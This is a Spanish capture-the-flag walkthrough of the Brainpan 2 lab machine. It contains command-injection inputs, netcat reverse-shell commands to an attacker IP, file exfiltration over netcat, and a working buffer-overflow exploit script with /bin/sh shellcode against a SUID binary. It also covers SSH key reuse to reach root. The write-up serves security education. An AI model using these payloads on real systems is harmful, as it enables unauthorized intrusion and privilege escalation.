Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde solo vemos 2 puertos abiertos, 9999
y 10000
igual que en la maquina brainpan 1
❯ nmap 192.168.100.5
Nmap scan report for 192.168.100.5
PORT STATE SERVICE
9999/tcp open abyss
10000/tcp open snet-sensor-mgmt
En la web del puerto 10000
encontramos una página sin nada realmente interesante
❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.100.5:10000/FUZZ -t 100 --hc 404
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.100.5:10000/FUZZ
Total requests: 4715
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000855: 301 0 L 0 W 0 Ch "bin"
En el directorio /bin
de la web encontramos un archivo llamado brainpan.exe
sin embargo al descargarlo vemos que no es un binario sino una simple imagen
❯ file brainpan.exe
brainpan.exe: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 85", baseline, precision 8, 381x307, components 3
Al conectarnos con netcat al puerto 9999
nos devuelve el mismo banner de simplemente 2.0
, el programa nos dice que nos autentiquemos como GUEST
❯ netcat 192.168.100.5 9999
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[______________________ WELCOME TO BRAINPAN 2.0________________________]
LOGIN AS GUEST
>>
Después de enviar GUEST
nos otorga acceso que nos pide enviar TELL ME MORE
para ver mas opciones, donde encontramos varias que llaman bastante la atencion
>> GUEST
ACCESS GRANTED
* * * *
THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED.
TYPE "TELL ME MORE" FOR A LIST OF COMMANDS.
* * * *
>> TELL ME MORE
FILES HELP VIEW CREATE
USERS MSG SYSTEM BYE
>>
Shell - anansi
Enviando FILES
podemos ver los archivos como si estuvieramos ejecutando un ls
>> FILES
total 36
-rwxr-xr-x 1 root root 18424 Nov 4 2013 brainpan.exe
-rw-r--r-- 1 root root 1109 Nov 5 2013 brainpan.txt
-rw-r--r-- 1 root root 683 Nov 4 2013 notes.txt
-rw-r--r-- 1 anansi anansi 12 Nov 5 2013 test-1
-rwxrwxrwx 1 anansi anansi 19 Nov 5 2013 test-2
>>
Usando el comando VIEW
nos pide un archivo al cual probablemente hace un cat
>> VIEW
ENTER FILE TO DOWNLOAD: /etc/hosts
127.0.0.1 localhost
127.0.1.1 brainpan2
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
>>
En el archivo a leer enviamos test y adjuntamos un ; id
para ejecutar otro comando, en el output podemos ver que ejecuta el comando como el usuario anansi
>> VIEW
ENTER FILE TO DOWNLOAD: test; id
uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff)
>>
Ya que ejecutamos comandos en VIEW
, nos enviamos una reverse shell con netcat
>> VIEW
ENTER FILE TO DOWNLOAD: test; netcat -e /bin/sh 192.168.100.73 443
Al hacerlo recibimos una shell como el usuario anansi
en nuestro listener de netcat que curiosamente pertenece al grupo staff
que por ahora no nos sirve de nada
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.5
script /dev/null -c bash
anansi@brainpan2:/opt/brainpan$ id
uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff)
anansi@brainpan2:/opt/brainpan$ hostname -I
192.168.100.5
anansi@brainpan2:/opt/brainpan$
Shell - root
Buscando por ejecutables con privilegios suid
encontramos uno personalizado que llama algo la atención, y es msg_root
el cual pertenece al usuario y grupo root
anansi@brainpan2:~$ find / -perm -u+s 2>/dev/null
/usr/sbin/exim4
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/procmail
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/newgrp
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/bin/umount
/bin/ping
/bin/mount
/bin/ping6
/bin/su
/home/reynard/msg_root
anansi@brainpan2:~$ ls -l /home/reynard/msg_root
-rwsr-xr-x 1 root root 8999 Nov 6 2013 /home/reynard/msg_root
anansi@brainpan2:~$
El programa pide como argumento un usuario
y un mensaje
, sin embargo incluso pasandole los argumentos
no queda muy claro cual es su funcion o que hace
anansi@brainpan2:~$ /home/reynard/msg_root
usage: msg_root username message
anansi@brainpan2:~$ /home/reynard/msg_root username message
Your message is message
anansi@brainpan2:~$
Para decompilarlo y analizarlo mejor podemos enviarlo a nuestro equipo con netcat
anansi@brainpan2:~$ netcat 192.168.100.73 4444 < /home/reynard/msg_root
anansi@brainpan2:~$
❯ netcat -lvnp 4444 > msg_root
Listening on 0.0.0.0 4444
Connection received on 192.168.100.5
Usando ida
desensamblamos el binario, la función main
inicia comprobando que la cantidad de argumentos sea mayor a 2
, si es asi le pasa los 2 primeros argumentos a la función get_name
, de lo contrario muestra un mensaje de uso con puts
y sale
La función get_name
inicia guardando en una variable un puntero a la función save_msg
, luego toma la longitud del primer argumento y la compara con 0x11
, si es mayor usa strncpy
para copiar 0x12
bytes a un buffer, si es menor o igual usa strcpy
sin ninguna sanitización para copiar a un buffer en ebp - 12
, resumiendo tenemos un Buffer Overflow pero con una limitación de 0x12
o 18
bytes
Sin importar el camino que tome luego reserva un espacio en memoria de 2000
bytes con malloc
y almacena el segundo argumento en ese espacio que se supone es el mensaje, luego guarda en eax
el puntero a save_msg
y lo llama con un call eax
La función save_msg
muestra el mensaje con printf
y escribe el usuario y el mensaje en el archivo /tmp/msg.txt
utilizando fprintf
, podemos comprobarlo leyendolo
anansi@brainpan2:~$ cat /tmp/msg.txt
username: message
anansi@brainpan2:~$
Antes de explotar el Buffer Overflow
podemos ver las protecciones del binario con checksec
, no tiene ninguna habilitada lo que facilitara bastante la explotacion
❯ checksec msg_root
[*] '/home/user/msg_root'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
Ya que el máximo de bytes es de 18
, enviaremos 14 A's
y 4 B's
en el primer argumento, en el segundo enviamos 8 C's
, cuando corrompe el return address se sobrescribe con las B's
, tenemos un problema, ya usamos el máximo de bytes asi que no podemos guardar datos en el stack, además el return value en eax
no es un puntero al buffer sino el propio return address por lo que el ret2reg
no funcionará
❯ gdb -q msg_root
Reading symbols from msg_root...
pwndbg> cyclic 20
aaaabaaacaaadaaaeaaa
pwndbg> run AAAAAAAAAAAAAABBBB CCCCCCCC
Starting program: /home/user/msg_root AAAAAAAAAAAAAABBBB CCCCCCCC
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
pwndbg> p/x $eip
$1 = 0x42424242
pwndbg> p/x $eax
$2 = 0x42424242
pwndbg>
Si buscamos las 8 C's
podemos ver que aparecen 2 resultados, el primero en alguna parte del stack sin embargo la dirección es aleatoria, la otra coincidencia es en el heap
, y al ser parte del propio binario y no tener la protección PIE
deberia ser una dirección estática, además los permisos en este segmento son rwx
asi que podemos simplemente saltar ahí ejecutar un shellcode que nos devuelva una /bin/sh
pwndbg> search CCCCCCCC
Searching for value: 'CCCCCCCC'
[heap] 0x804a008 'CCCCCCCC'
[stack] 0xffffd784 'CCCCCCCC'
pwndbg> vmmap 0x804a008
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x8049000 0x804a000 rw-p 1000 2000 /home/user/msg_root
►0x804a000 0x806c000 rw-p 22000 0 [heap] +0x1a0
0xf7e75000 0xf7fd1000 r-xp 15c000 0 /home/user/libc.so.6
pwndbg>
Podemos verlo de forma mas descriptiva con el comando heap
, el segundo chunk es de 0x7e1
o 2000
bytes que fue lo que vimos desde ida que se asignó con malloc
para el mensaje, si miramos el chunk con vis
podemos ver que después del dword de tamaño aparece nuestra data del segundo argumento en la dirección 0x804a008
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x8049e70
Size: 0x190 (with flag bits: 0x191)
Allocated chunk | PREV_INUSE
Addr: 0x804a000
Size: 0x7e0 (with flag bits: 0x7e1)
Top chunk | PREV_INUSE
Addr: 0x804a7e0
Size: 0x21688 (with flag bits: 0x21689)
pwndbg> vis 0x804a198
0x804a000 0x00000000 0x000007e1 ........
0x804a008 0x43434343 0x43434343 CCCCCCCC
0x804a010 0x00000000 0x00000000 ........
--------- ---------- ---------- ........
0x804a7d8 0x00000000 0x00000000 ........
0x804a7e0 0x00000000 0x00021689 ........ <-- Top chunk
pwndbg>
Entonces iniciamos el exploit, nuestro payload del primer argumento sera rellenar con A's
hasta el return address y en el saltaremos a la dirección en el heap
donde se guarda nuestro segundo argumento y como en el segundo argumento enviamos un shellcode que nos ejecuta una /bin/sh
el programa nos deberia devolver una shell
#!/usr/bin/python2
import struct
p32 = lambda addr: struct.pack("<i", addr)
shellcode = b"\x6a\x0b\x58\x6a\x68\x66\x68\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x99\xcd\x80"
offset = 14
junk = b"A" * offset
payload = b""
payload += junk
payload += p32(0x804a008)
payload += b" "
payload += shellcode
print(payload)
Al ejecutar el exploit podemos ver que se ejecuta el shellcode y nos devuelve una shell como el usuario propietario del binario que en este caso era el usuario root
anansi@brainpan2:~$ /home/reynard/msg_root $(python2 exploit.py)
$ whoami
root
$ hostname -I
192.168.100.5
$
Shell - puck
Si intentamos leer la flag en el directorio /root
nos devuelve permiso denegado y el archivo whatif.txt
nos confirma con un mensaje que aun no somos el usuario root
$ cd /root
$ ls -l
-rw------- 1 root root 461 Nov 5 2013 flag.txt
-rw------- 1 root root 245 Nov 5 2013 whatif.txt
$ cat flag.txt
cat: flag.txt: Permission denied
$ cat whatif.txt
WHAT IF I TOLD YOU
___
/ \
| ______\
(, \_/ \_/
| ._. |
\ --- /
/`-.__.'
.---'`-.___|\___
/ `.
YOU ARE NOT ROOT?
$
Filtrando por la cadena root en el archivo /etc/passwd
podemos encontrar a 2 usuarios root
con el id 104
y root
con un espacio que es el id 0
que queremos
$ grep root /etc/passwd
root:x:104:106:root:/root:/bin/bash
root :x:0:0:root:/var/root:/bin/bash
$
Para evitar conflictos, con python haremos que nuestro uid
y gid
sea igual a 104
, despues nos lanzamos una bash
que puede llegar a ser un poco mas interactiva
$ python2
Python 2.7.3
>>> import os
>>> os.setreuid(104, 104)
>>> os.system("bash")
root@brainpan2:~$ whoami
root
root@brainpan2:~$ hostname -I
192.168.100.5
root@brainpan2:~$
Volvemos a listar binarios con privilegios suid
, y encontramos un brainpan-1.8.exe
root@brainpan2:~$ find / -perm -u+s 2>/dev/null
/opt/old/brainpan-1.8/brainpan-1.8.exe
/usr/sbin/exim4
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/procmail
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/newgrp
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/bin/umount
/bin/ping
/bin/mount
/bin/ping6
/bin/su
/home/reynard/msg_root
root@brainpan2:~$
El binario pertenece al usuario puck
, en ese directorio tambien existe un archivo brainpan.cfg
en el cual cualquier usuario permisos rw-
por lo que puede escribir
root@brainpan2:/opt/old/brainpan-1.8$ ls -l
-rwsr-xr-x 1 puck puck 17734 Nov 4 2013 brainpan-1.8.exe
-rw-r--r-- 1 puck puck 1227 Nov 5 2013 brainpan.7
-rw-rw-rw- 1 puck staff 25 Jul 25 16:13 brainpan.cfg
root@brainpan2:/opt/old/brainpan-1.8$
El archivo cfg
contiene un puerto
y una direccion ip
, y parece que esta es la conifuracion que usa como listener el binario brainpan-1.8.exe
al ejecutarlo
root@brainpan2:/opt/old/brainpan-1.8$ cat brainpan.cfg
port=9333
ipaddr=127.0.0.1
root@brainpan2:/opt/old/brainpan-1.8$ ./brainpan-1.8.exe
port = 9333
ipaddr = 127.0.0.1
+ bind done
+ waiting for connections...
Ya que podemos escribir en el archivo cfg cambiamos la variable ipaddr por 0.0.0.0
para que podamos acceder al puerto 9333
desde nuestro equipo de atacante
root@brainpan2:/opt/old/brainpan-1.8$ echo -e "port=9333\nipaddr=0.0.0.0" > brainpan.cfg
root@brainpan2:/opt/old/brainpan-1.8$ cat brainpan.cfg
port=9333
ipaddr=0.0.0.0
root@brainpan2:/opt/old/brainpan-1.8$ ./brainpan-1.8.exe
port = 9333
ipaddr = 0.0.0.0
+ bind done
+ waiting for connections...
Al conectarnos al puerto 9333
podemos ver que corre el mismo servicio del inicio
❯ netcat 192.168.100.5 9333
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[______________________ WELCOME TO BRAINPAN 1.8________________________]
LOGIN AS GUEST
>>
Sabemos que podemos ejecutar comandos
, asi que volvemos a hacer el proceso de autenticarnos como GUEST
y aprovechandonos de VIEW
nos enviamos una shell
>> GUEST
ACCESS GRANTED
* * * *
THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED.
TYPE "TELL ME MORE" FOR A LIST OF COMMANDS.
* * * *
>> VIEW
ENTER FILE TO DOWNLOAD: test; netcat -e /bin/sh 192.168.100.73 443
Al hacerlo recibimos nuevamente una shell esta vez como puck
, al lanzarnos una bash
usaremos el parametro -p
ya que estamos bajo el contexto del binario suid
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.5
script /dev/null -c "bash -p"
bash-4.2$ whoami
puck
bash-4.2$ hostname -I
192.168.100.5
bash-4.2$
Shell - root 2
Nuevamente con python actualizamos nuestro uid y gid por 1001
correspondiente a puck
, para asi obtener una shell
que no tendra problemas por el identificador
bash-4.2$ python2
Python 2.7.3
>>> import os
>>> os.setreuid(1001, 1001)
>>> os.system("bash")
puck@brainpan2:~$ whoami
puck
puck@brainpan2:~$ hostname -I
192.168.100.5
puck@brainpan2:~$
Al listar todos los archivos existentes partiendo del home de puck
encontramos un clave privada id_rsa
dentro de un directorio oculto que es ~/.backup/.ssh/
puck@brainpan2:~$ find
.
./.ssh
./.ssh/known_hosts
./.ssh/id_rsa.pub
./.ssh/id_rsa
./.profile
./.bash_history
./.backup
./.backup/.ssh
./.backup/.ssh/id_rsa.pub
./.backup/.ssh/id_rsa
./.backup/.profile
./.backup/.bash_history
./.backup/.bashrc
./.backup/.bash_logout
./.bashrc
./.bash_logout
puck@brainpan2:~$
Al intentar conectarnos como el usuario root
correspondiente al uid 0
al localhost nos dice que no tenemos conexion con el servicio ssh desde la 127.0.0.1:22
puck@brainpan2:~$ ssh "root "@127.0.0.1 -i .backup/.ssh/id_rsa
ssh: connect to host 127.0.0.1 port 22: Connection refused
puck@brainpan2:~$
Si vemos la configuracion de ssh
vemos que el servicio corre en 127.0.1.1:2222
puck@brainpan2:~$ grep -vE '^$|^#' /etc/ssh/sshd_config | head -n2
Port 2222
ListenAddress 127.0.1.1
puck@brainpan2:~$
Nos conectamos como el usuario root
a la 127.0.1.1
por el puerto 22
usando la id_rsa
para autenticarnos y obtenemos una shell como el root
que tiene el uid 0
puck@brainpan2:~$ ssh "root "@127.0.1.1 -p 2222 -i .backup/.ssh/id_rsa
root @brainpan2:~# id
uid=0(root ) gid=0(root ) groups=0(root )
root @brainpan2:~# hostname -I
192.168.100.5
root @brainpan2:~# cat /root/flag.txt
!!! CONGRATULATIONS !!!
You've completed the Brainpan 2 challenge!
Or have you...?
Yes, you have! Pat yourself on the back. :-)
Questions, comments, suggestions for new VM
challenges? Let me know!
Twitter: @superkojiman
Email : contact@techorganic.com
Web : http://www.techorganic.com
root @brainpan2:~#